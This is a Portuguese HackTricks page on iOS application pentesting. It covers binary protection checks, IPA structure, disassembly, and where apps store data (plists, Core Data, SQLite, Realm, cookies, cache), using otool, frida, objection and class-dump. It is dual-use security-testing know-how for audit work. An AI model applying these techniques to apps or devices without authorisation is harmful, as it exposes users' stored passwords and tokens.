mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 19:43:31 +00:00
1144 lines
68 KiB
Markdown
1144 lines
68 KiB
Markdown
# iOS Pentesting
|
||
|
||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** da comunidade **mais avançadas** do mundo.\
|
||
Obtenha Acesso Hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||
|
||
{% hint style="success" %}
|
||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
{% endhint %}
|
||
|
||
## iOS Basics
|
||
|
||
{% content-ref url="ios-basics.md" %}
|
||
[ios-basics.md](ios-basics.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Testing Environment
|
||
|
||
Nesta página você pode encontrar informações sobre o **simulador iOS**, **emuladores** e **jailbreaking:**
|
||
|
||
{% content-ref url="ios-testing-environment.md" %}
|
||
[ios-testing-environment.md](ios-testing-environment.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Initial Analysis
|
||
|
||
### Basic iOS Testing Operations
|
||
|
||
Durante o teste **várias operações serão sugeridas** (conectar ao dispositivo, ler/escrever/enviar/baixar arquivos, usar algumas ferramentas...). Portanto, se você não souber como realizar alguma dessas ações, por favor, **comece a ler a página**:
|
||
|
||
{% content-ref url="basic-ios-testing-operations.md" %}
|
||
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% hint style="info" %}
|
||
Para os próximos passos **o app deve estar instalado** no dispositivo e já deve ter obtido o **arquivo IPA** da aplicação.\
|
||
Leia a página [Basic iOS Testing Operations](basic-ios-testing-operations.md) para aprender como fazer isso.
|
||
{% endhint %}
|
||
|
||
### Basic Static Analysis
|
||
|
||
É recomendado usar a ferramenta [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) para realizar uma Análise Estática automática no arquivo IPA.
|
||
|
||
Identificação de **proteções presentes no binário**:
|
||
|
||
* **PIE (Position Independent Executable)**: Quando habilitado, o aplicativo é carregado em um endereço de memória aleatório toda vez que é iniciado, dificultando a previsão de seu endereço de memória inicial.
|
||
|
||
```bash
|
||
otool -hv <app-binary> | grep PIE # Deve incluir a flag PIE
|
||
```
|
||
* **Stack Canaries**: Para validar a integridade da pilha, um valor ‘canário’ é colocado na pilha antes de chamar uma função e é validado novamente uma vez que a função termina.
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep stack_chk # Deve incluir os símbolos: stack_chk_guard e stack_chk_fail
|
||
```
|
||
* **ARC (Automatic Reference Counting)**: Para prevenir falhas comuns de corrupção de memória
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep objc_release # Deve incluir o símbolo _objc_release
|
||
```
|
||
* **Binary Encriptado**: O binário deve estar encriptado
|
||
|
||
```bash
|
||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # O cryptid deve ser 1
|
||
```
|
||
|
||
**Identificação de Funções Sensíveis/Inseguras**
|
||
|
||
* **Algoritmos de Hashing Fracos**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_CC_MD5"
|
||
otool -Iv <app> | grep -w "_CC_SHA1"
|
||
|
||
# No linux
|
||
grep -iER "_CC_MD5"
|
||
grep -iER "_CC_SHA1"
|
||
```
|
||
* **Funções Aleatórias Inseguras**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_random"
|
||
otool -Iv <app> | grep -w "_srand"
|
||
otool -Iv <app> | grep -w "_rand"
|
||
|
||
# No linux
|
||
grep -iER "_random"
|
||
grep -iER "_srand"
|
||
grep -iER "_rand"
|
||
```
|
||
* **Função ‘Malloc’ Insegura**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_malloc"
|
||
|
||
# No linux
|
||
grep -iER "_malloc"
|
||
```
|
||
* **Funções Inseguras e Vulneráveis**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_gets"
|
||
otool -Iv <app> | grep -w "_memcpy"
|
||
otool -Iv <app> | grep -w "_strncpy"
|
||
otool -Iv <app> | grep -w "_strlen"
|
||
otool -Iv <app> | grep -w "_vsnprintf"
|
||
otool -Iv <app> | grep -w "_sscanf"
|
||
otool -Iv <app> | grep -w "_strtok"
|
||
otool -Iv <app> | grep -w "_alloca"
|
||
otool -Iv <app> | grep -w "_sprintf"
|
||
otool -Iv <app> | grep -w "_printf"
|
||
otool -Iv <app> | grep -w "_vsprintf"
|
||
|
||
# No linux
|
||
grep -R "_gets"
|
||
grep -iER "_memcpy"
|
||
grep -iER "_strncpy"
|
||
grep -iER "_strlen"
|
||
grep -iER "_vsnprintf"
|
||
grep -iER "_sscanf"
|
||
grep -iER "_strtok"
|
||
grep -iER "_alloca"
|
||
grep -iER "_sprintf"
|
||
grep -iER "_printf"
|
||
grep -iER "_vsprintf"
|
||
```
|
||
|
||
### Basic Dynamic Analysis
|
||
|
||
Confira a análise dinâmica que [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) realiza. Você precisará navegar pelas diferentes visualizações e interagir com elas, mas ele irá interceptar várias classes ao fazer outras coisas e preparará um relatório assim que você terminar.
|
||
|
||
### Listing Installed Apps
|
||
|
||
Use o comando `frida-ps -Uai` para determinar o **identificador do pacote** dos aplicativos instalados:
|
||
```bash
|
||
$ frida-ps -Uai
|
||
PID Name Identifier
|
||
---- ------------------- -----------------------------------------
|
||
6847 Calendar com.apple.mobilecal
|
||
6815 Mail com.apple.mobilemail
|
||
- App Store com.apple.AppStore
|
||
- Apple Store com.apple.store.Jolly
|
||
- Calculator com.apple.calculator
|
||
- Camera com.apple.camera
|
||
- iGoat-Swift OWASP.iGoat-Swift
|
||
```
|
||
### Enumeração Básica & Hooking
|
||
|
||
Aprenda como **enumerar os componentes da aplicação** e como **hookear métodos e classes** com objection:
|
||
|
||
{% content-ref url="ios-hooking-with-objection.md" %}
|
||
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Estrutura IPA
|
||
|
||
A estrutura de um **arquivo IPA** é essencialmente a de um **pacote zipado**. Ao renomear sua extensão para `.zip`, ele pode ser **descompactado** para revelar seu conteúdo. Dentro dessa estrutura, um **Bundle** representa uma aplicação totalmente empacotada e pronta para instalação. Dentro, você encontrará um diretório chamado `<NAME>.app`, que encapsula os recursos da aplicação.
|
||
|
||
* **`Info.plist`**: Este arquivo contém detalhes específicos de configuração da aplicação.
|
||
* **`_CodeSignature/`**: Este diretório inclui um arquivo plist que contém uma assinatura, garantindo a integridade de todos os arquivos no bundle.
|
||
* **`Assets.car`**: Um arquivo compactado que armazena arquivos de ativos, como ícones.
|
||
* **`Frameworks/`**: Esta pasta abriga as bibliotecas nativas da aplicação, que podem estar na forma de arquivos `.dylib` ou `.framework`.
|
||
* **`PlugIns/`**: Isso pode incluir extensões para a aplicação, conhecidas como arquivos `.appex`, embora nem sempre estejam presentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes da sua aplicação para uso offline, para armazenar dados temporários e para adicionar funcionalidade de desfazer à sua aplicação em um único dispositivo. Para sincronizar dados em vários dispositivos em uma única conta do iCloud, o Core Data espelha automaticamente seu esquema para um contêiner do CloudKit.
|
||
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): O arquivo `PkgInfo` é uma maneira alternativa de especificar os códigos de tipo e criador da sua aplicação ou bundle.
|
||
* **en.lproj, fr.proj, Base.lproj**: São os pacotes de idioma que contêm recursos para esses idiomas específicos e um recurso padrão caso um idioma não seja suportado.
|
||
* **Segurança**: O diretório `_CodeSignature/` desempenha um papel crítico na segurança do aplicativo, verificando a integridade de todos os arquivos empacotados por meio de assinaturas digitais.
|
||
* **Gerenciamento de Ativos**: O arquivo `Assets.car` utiliza compressão para gerenciar eficientemente ativos gráficos, crucial para otimizar o desempenho da aplicação e reduzir seu tamanho total.
|
||
* **Frameworks e PlugIns**: Esses diretórios destacam a modularidade das aplicações iOS, permitindo que os desenvolvedores incluam bibliotecas de código reutilizáveis (`Frameworks/`) e estendam a funcionalidade do aplicativo (`PlugIns/`).
|
||
* **Localização**: A estrutura suporta vários idiomas, facilitando o alcance global da aplicação ao incluir recursos para pacotes de idiomas específicos.
|
||
|
||
**Info.plist**
|
||
|
||
O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de pares **chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de aplicativos e frameworks empacotados dentro. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de aplicativo até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
|
||
|
||
Para aqueles que desejam trabalhar com este arquivo em um formato mais acessível, a conversão para XML pode ser realizada facilmente através do uso de `plutil` no macOS (disponível nativamente nas versões 10.2 e posteriores) ou `plistutil` no Linux. Os comandos para conversão são os seguintes:
|
||
|
||
* **Para macOS**:
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
* **Para Linux**:
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
Entre a miríade de informações que o arquivo **Info.plist** pode divulgar, entradas notáveis incluem strings de permissão do aplicativo (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`) e configurações para a Segurança de Transporte de Aplicativos (`NSAppTransportSecurity`). Essas entradas, junto com outras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), podem ser facilmente localizadas inspecionando o arquivo ou empregando um simples comando `grep`:
|
||
```bash
|
||
$ grep -i <keyword> Info.plist
|
||
```
|
||
**Caminhos de Dados**
|
||
|
||
No ambiente iOS, diretórios são designados especificamente para **aplicações do sistema** e **aplicações instaladas pelo usuário**. Aplicações do sistema residem no diretório `/Applications`, enquanto aplicativos instalados pelo usuário são colocados em `/var/mobile/containers/Data/Application/`. Essas aplicações recebem um identificador único conhecido como **UUID de 128 bits**, tornando a tarefa de localizar manualmente a pasta de um aplicativo desafiadora devido à aleatoriedade dos nomes dos diretórios.
|
||
|
||
{% hint style="warning" %}
|
||
Como as aplicações no iOS devem ser isoladas, cada aplicativo também terá uma pasta dentro de **`$HOME/Library/Containers`** com o **`CFBundleIdentifier`** do aplicativo como o nome da pasta.
|
||
|
||
No entanto, ambas as pastas (dados e pastas de contêiner) possuem o arquivo **`.com.apple.mobile_container_manager.metadata.plist`** que vincula ambos os arquivos na chave `MCMetadataIdentifier`).
|
||
{% endhint %}
|
||
|
||
Para facilitar a descoberta do diretório de instalação de um aplicativo instalado pelo usuário, a **ferramenta objection** fornece um comando útil, `env`. Este comando revela informações detalhadas do diretório para o aplicativo em questão. Abaixo está um exemplo de como usar este comando:
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||
|
||
Name Path
|
||
----------------- -------------------------------------------------------------------------------------------
|
||
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
|
||
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
|
||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||
```
|
||
Alternativamente, o nome do aplicativo pode ser pesquisado dentro de `/private/var/containers` usando o comando `find`:
|
||
```bash
|
||
find /private/var/containers -name "Progname*"
|
||
```
|
||
Comandos como `ps` e `lsof` também podem ser utilizados para identificar o processo do aplicativo e listar arquivos abertos, respectivamente, fornecendo informações sobre os caminhos de diretório ativos do aplicativo:
|
||
```bash
|
||
ps -ef | grep -i <app-name>
|
||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||
```
|
||
**Diretório do pacote:**
|
||
|
||
* **AppName.app**
|
||
* Este é o Pacote da Aplicação, como visto anteriormente no IPA, contém dados essenciais da aplicação, conteúdo estático, bem como o binário compilado da aplicação.
|
||
* Este diretório é visível para os usuários, mas **os usuários não podem escrever nele**.
|
||
* O conteúdo deste diretório **não é salvo**.
|
||
* O conteúdo desta pasta é usado para **validar a assinatura do código**.
|
||
|
||
**Diretório de dados:**
|
||
|
||
* **Documents/**
|
||
* Contém todos os dados gerados pelo usuário. O usuário final da aplicação inicia a criação desses dados.
|
||
* Visível para os usuários e **os usuários podem escrever nele**.
|
||
* O conteúdo deste diretório **é salvo**.
|
||
* O app pode desabilitar caminhos configurando `NSURLIsExcludedFromBackupKey`.
|
||
* **Library/**
|
||
* Contém todos os **arquivos que não são específicos do usuário**, como **caches**, **preferências**, **cookies** e arquivos de configuração de lista de propriedades (plist).
|
||
* Aplicativos iOS geralmente usam os subdiretórios `Application Support` e `Caches`, mas o app pode criar subdiretórios personalizados.
|
||
* **Library/Caches/**
|
||
* Contém **arquivos de cache semi-persistentes.**
|
||
* Invisível para os usuários e **os usuários não podem escrever nele**.
|
||
* O conteúdo deste diretório **não é salvo**.
|
||
* O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o app não está em execução e o espaço de armazenamento está baixo.
|
||
* **Library/Application Support/**
|
||
* Contém **arquivos** **persistentes** necessários para a execução do app.
|
||
* **Invisível** **para** **os usuários** e os usuários não podem escrever nele.
|
||
* O conteúdo deste diretório **é salvo**.
|
||
* O app pode desabilitar caminhos configurando `NSURLIsExcludedFromBackupKey`.
|
||
* **Library/Preferences/**
|
||
* Usado para armazenar propriedades que podem **persistir mesmo após a reinicialização de uma aplicação**.
|
||
* As informações são salvas, sem criptografia, dentro do sandbox da aplicação em um arquivo plist chamado \[BUNDLE\_ID].plist.
|
||
* Todos os pares chave/valor armazenados usando `NSUserDefaults` podem ser encontrados neste arquivo.
|
||
* **tmp/**
|
||
* Use este diretório para escrever **arquivos temporários** que não precisam persistir entre as execuções do app.
|
||
* Contém arquivos de cache não persistentes.
|
||
* **Invisível** para os usuários.
|
||
* O conteúdo deste diretório não é salvo.
|
||
* O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o app não está em execução e o espaço de armazenamento está baixo.
|
||
|
||
Vamos dar uma olhada mais de perto no Pacote da Aplicação do iGoat-Swift (.app) dentro do diretório do Pacote (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||
NSFileType Perms NSFileProtection ... Name
|
||
------------ ------- ------------------ ... --------------------------------------
|
||
Regular 420 None ... rutger.html
|
||
Regular 420 None ... mansi.html
|
||
Regular 420 None ... splash.html
|
||
Regular 420 None ... about.html
|
||
|
||
Regular 420 None ... LICENSE.txt
|
||
Regular 420 None ... Sentinel.txt
|
||
Regular 420 None ... README.txt
|
||
```
|
||
### Binary Reversing
|
||
|
||
Dentro da pasta `<application-name>.app`, você encontrará um arquivo binário chamado `<application-name>`. Este é o arquivo que será **executado**. Você pode realizar uma inspeção básica do binário com a ferramenta **`otool`**:
|
||
```bash
|
||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
|
||
|
||
otool -L DVIA-v2 #Get third party libraries
|
||
DVIA-v2:
|
||
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
|
||
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
|
||
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
|
||
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
|
||
[...]
|
||
```
|
||
**Verifique se o aplicativo está criptografado**
|
||
|
||
Veja se há alguma saída para:
|
||
```bash
|
||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||
```
|
||
**Desmontando o binário**
|
||
|
||
Desmonte a seção de texto:
|
||
```bash
|
||
otool -tV DVIA-v2
|
||
DVIA-v2:
|
||
(__TEXT,__text) section
|
||
+[DDLog initialize]:
|
||
0000000100004ab8 sub sp, sp, #0x60
|
||
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
|
||
0000000100004ac0 add x29, sp, #0x50
|
||
0000000100004ac4 sub x8, x29, #0x10
|
||
0000000100004ac8 mov x9, #0x0
|
||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||
0000000100004ad0 add x10, x10, #0x268
|
||
```
|
||
Para imprimir o **segmento Objective-C** do aplicativo de amostra, pode-se usar:
|
||
```bash
|
||
otool -oV DVIA-v2
|
||
DVIA-v2:
|
||
Contents of (__DATA,__objc_classlist) section
|
||
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
|
||
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
|
||
superclass 0x0 _OBJC_CLASS_$_NSObject
|
||
cache 0x0 __objc_empty_cache
|
||
vtable 0x0
|
||
data 0x1003de748
|
||
flags 0x80
|
||
instanceStart 8
|
||
```
|
||
Para obter um código Objective-C mais compacto, você pode usar [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
||
```bash
|
||
class-dump some-app
|
||
//
|
||
// Generated by class-dump 3.5 (64 bit).
|
||
//
|
||
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
|
||
//
|
||
|
||
#pragma mark Named Structures
|
||
|
||
struct CGPoint {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
|
||
struct CGRect {
|
||
struct CGPoint _field1;
|
||
struct CGSize _field2;
|
||
};
|
||
|
||
struct CGSize {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
```
|
||
No entanto, as melhores opções para desassemblar o binário são: [**Hopper**](https://www.hopperapp.com/download.html?) e [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
|
||
|
||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** da comunidade **mais avançadas** do mundo.\
|
||
Acesse hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||
|
||
## Armazenamento de Dados
|
||
|
||
Para aprender sobre como o iOS armazena dados no dispositivo, leia esta página:
|
||
|
||
{% content-ref url="ios-basics.md" %}
|
||
[ios-basics.md](ios-basics.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% hint style="warning" %}
|
||
Os seguintes locais para armazenar informações devem ser verificados **logo após a instalação do aplicativo**, **após verificar todas as funcionalidades** do aplicativo e até mesmo após **sair de um usuário e entrar em um diferente**.\
|
||
O objetivo é encontrar **informações sensíveis não protegidas** do aplicativo (senhas, tokens), do usuário atual e de usuários que se conectaram anteriormente.
|
||
{% endhint %}
|
||
|
||
### Plist
|
||
|
||
Os arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma forma de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendado verificar esses arquivos após a instalação do aplicativo e após usá-lo intensivamente para ver se novos dados são escritos.
|
||
|
||
A forma mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/<appBundleID>.plist`**
|
||
|
||
A classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornece uma interface programática para interagir com o sistema padrão. O sistema padrão permite que um aplicativo personalize seu comportamento de acordo com as **preferências do usuário**. Os dados salvos pelo `NSUserDefaults` podem ser visualizados no pacote do aplicativo. Esta classe armazena **dados** em um **arquivo plist**, mas é destinada a ser usada com pequenas quantidades de dados.
|
||
|
||
Esses dados não podem ser acessados diretamente via um computador confiável, mas podem ser acessados realizando um **backup**.
|
||
|
||
Você pode **extrair** as informações salvas usando **`NSUserDefaults`** com o comando `ios nsuserdefaults get` do objection.
|
||
|
||
Para encontrar todos os plist usados pelo aplicativo, você pode acessar `/private/var/mobile/Containers/Data/Application/{APPID}` e executar:
|
||
```bash
|
||
find ./ -name "*.plist"
|
||
```
|
||
Para converter arquivos do formato **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
|
||
|
||
**Para usuários do macOS:** Utilize o comando `plutil`. É uma ferramenta embutida no macOS (10.2+), projetada para esse propósito:
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
**Para usuários do Linux:** Instale `libplist-utils` primeiro, depois use `plistutil` para converter seu arquivo:
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
**Dentro de uma Sessão Objection:** Para analisar aplicativos móveis, um comando específico permite que você converta arquivos plist diretamente:
|
||
```bash
|
||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||
```
|
||
### Core Data
|
||
|
||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) é um framework para gerenciar a camada de modelo de objetos em seu aplicativo. [Core Data pode usar SQLite como seu armazenamento persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), mas o framework em si não é um banco de dados.\
|
||
CoreData não criptografa seus dados por padrão. No entanto, uma camada de criptografia adicional pode ser adicionada ao CoreData. Veja o [GitHub Repo](https://github.com/project-imas/encrypted-core-data) para mais detalhes.
|
||
|
||
Você pode encontrar as informações do SQLite Core Data de um aplicativo no caminho `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||
|
||
**Se você conseguir abrir o SQLite e acessar informações sensíveis, então você encontrou uma má configuração.**
|
||
|
||
{% code title="Code from iGoat" %}
|
||
```objectivec
|
||
-(void)storeDetails {
|
||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||
|
||
NSManagedObjectContext *context =[appDelegate managedObjectContext];
|
||
|
||
User *user = [self fetchUser];
|
||
if (user) {
|
||
return;
|
||
}
|
||
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
|
||
inManagedObjectContext:context];
|
||
user.email = CoreDataEmail;
|
||
user.password = CoreDataPassword;
|
||
NSError *error;
|
||
if (![context save:&error]) {
|
||
NSLog(@"Error in saving data: %@", [error localizedDescription]);
|
||
|
||
}else{
|
||
NSLog(@"data stored in core data");
|
||
}
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
### YapDatabase
|
||
|
||
[YapDatabase](https://github.com/yapstudios/YapDatabase) é um armazenamento chave/valor construído sobre o SQLite.\
|
||
Como os bancos de dados Yap são bancos de dados sqlite, você pode encontrá-los usando o comando proposto na seção anterior.
|
||
|
||
### Outros Bancos de Dados SQLite
|
||
|
||
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixá-los não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório dos aplicativos. Portanto, vá para o diretório do aplicativo onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||
```bash
|
||
find ./ -name "*.sqlite" -or -name "*.db"
|
||
```
|
||
### Firebase Real-Time Databases
|
||
|
||
Os desenvolvedores podem **armazenar e sincronizar dados** dentro de um **banco de dados NoSQL hospedado na nuvem** através do Firebase Real-Time Databases. Armazenados em formato JSON, os dados são sincronizados para todos os clientes conectados em tempo real.
|
||
|
||
Você pode encontrar como verificar bancos de dados Firebase mal configurados aqui:
|
||
|
||
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
|
||
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Realm databases
|
||
|
||
[Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) oferecem uma alternativa poderosa para armazenamento de dados, não fornecida pela Apple. Por padrão, eles **armazenam dados não criptografados**, com criptografia disponível através de configuração específica.
|
||
|
||
Os bancos de dados estão localizados em: `/private/var/mobile/Containers/Data/Application/{APPID}`. Para explorar esses arquivos, pode-se utilizar comandos como:
|
||
```bash
|
||
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
|
||
default.realm default.realm.lock default.realm.management/ default.realm.note|
|
||
|
||
$ find ./ -name "*.realm*"
|
||
```
|
||
Para visualizar esses arquivos de banco de dados, a ferramenta [**Realm Studio**](https://github.com/realm/realm-studio) é recomendada.
|
||
|
||
Para implementar criptografia dentro de um banco de dados Realm, o seguinte trecho de código pode ser usado:
|
||
```swift
|
||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||
let config = Realm.Configuration(encryptionKey: getKey())
|
||
do {
|
||
let realm = try Realm(configuration: config)
|
||
// Use the Realm as normal
|
||
} catch let error as NSError {
|
||
// If the encryption key is wrong, `error` will say that it's an invalid database
|
||
fatalError("Error opening realm: \(error)")
|
||
}
|
||
```
|
||
### Couchbase Lite Databases
|
||
|
||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) é descrito como um mecanismo de banco de dados **leve** e **embutido** que segue a abordagem **orientada a documentos** (NoSQL). Projetado para ser nativo do **iOS** e **macOS**, oferece a capacidade de sincronizar dados de forma contínua.
|
||
|
||
Para identificar potenciais bancos de dados Couchbase em um dispositivo, o seguinte diretório deve ser inspecionado:
|
||
```bash
|
||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||
```
|
||
### Cookies
|
||
|
||
iOS armazena os cookies dos aplicativos em **`Library/Cookies/cookies.binarycookies`** dentro da pasta de cada aplicativo. No entanto, os desenvolvedores às vezes decidem salvá-los no **keychain**, pois o mencionado **arquivo de cookie pode ser acessado em backups**.
|
||
|
||
Para inspecionar o arquivo de cookies, você pode usar [**este script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou usar o **`ios cookies get`** do objection.\
|
||
**Você também pode usar o objection para** converter esses arquivos para um formato JSON e inspecionar os dados.
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||
[
|
||
{
|
||
"domain": "highaltitudehacks.com",
|
||
"expiresDate": "2051-09-15 07:46:43 +0000",
|
||
"isHTTPOnly": "false",
|
||
"isSecure": "false",
|
||
"name": "username",
|
||
"path": "/",
|
||
"value": "admin123",
|
||
"version": "0"
|
||
}
|
||
]
|
||
```
|
||
### Cache
|
||
|
||
Por padrão, o NSURLSession armazena dados, como **requisições e respostas HTTP no banco de dados Cache.db**. Este banco de dados pode conter **dados sensíveis**, se tokens, nomes de usuário ou qualquer outra informação sensível tiver sido armazenada em cache. Para encontrar as informações em cache, abra o diretório de dados do aplicativo (`/var/mobile/Containers/Data/Application/<UUID>`) e vá para `/Library/Caches/<Bundle Identifier>`. O **cache do WebKit também está sendo armazenado no arquivo Cache.db**. **Objection** pode abrir e interagir com o banco de dados com o comando `sqlite connect Cache.db`, pois é um **banco de dados SQLite normal**.
|
||
|
||
É **recomendado desabilitar o armazenamento em cache desses dados**, pois pode conter informações sensíveis na requisição ou resposta. A lista a seguir mostra diferentes maneiras de alcançar isso:
|
||
|
||
1. É recomendado remover as respostas em cache após o logout. Isso pode ser feito com o método fornecido pela Apple chamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Você pode chamar este método da seguinte forma:
|
